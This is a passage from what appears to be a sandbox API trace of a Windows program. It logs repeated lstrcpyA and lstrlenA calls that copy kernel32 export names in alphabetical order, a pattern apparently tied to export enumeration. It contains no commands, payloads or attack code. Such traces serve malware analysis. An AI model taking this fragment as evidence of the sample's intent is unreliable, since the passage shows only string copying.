returned="AppPolicyGetMediaFoundationCodecLoading" [0118.852] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.852] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.852] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.852] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.852] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.852] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.852] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.852] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.852] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.852] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.852] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.852] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.852] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.853] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.853] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.853] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.853] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.853] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.853] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.853] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.853] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.853] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.853] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.853] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.853] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.853] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.853] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.853] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.853] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.853] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.853] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.854] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.854] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.854] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.854] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.854] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.854] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.854] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.854] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.854] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.854] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.854] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.854] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.854] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.854] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.854] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.854] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.854] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.854] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.854] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.854] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.854] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.855] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.855] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.855] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.855] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.855] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.855] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.855] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.855] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.855] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.855] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.855] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.855] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.855] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.855] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.855] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.855] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.855] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.855] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.855] lstrlenA (lpString="BEEP") returned 4 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.855] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.855] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.855] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.856] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.856] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.856] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.856] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.856] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.856] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.856] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.856] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.856] lstrlenA (lpString="CANCELIO") returned 8 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.856] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.856] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.856] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.856] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.856] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.856] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.856] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.856] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.857] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.857] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.857] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.857] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.857] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.857] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.857] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.857] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.857] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.857] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.857] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.857] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.857] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.857] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.857] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.857] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.857] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.858] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.858] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.858] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.858] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.858] lstrcpyA (in: 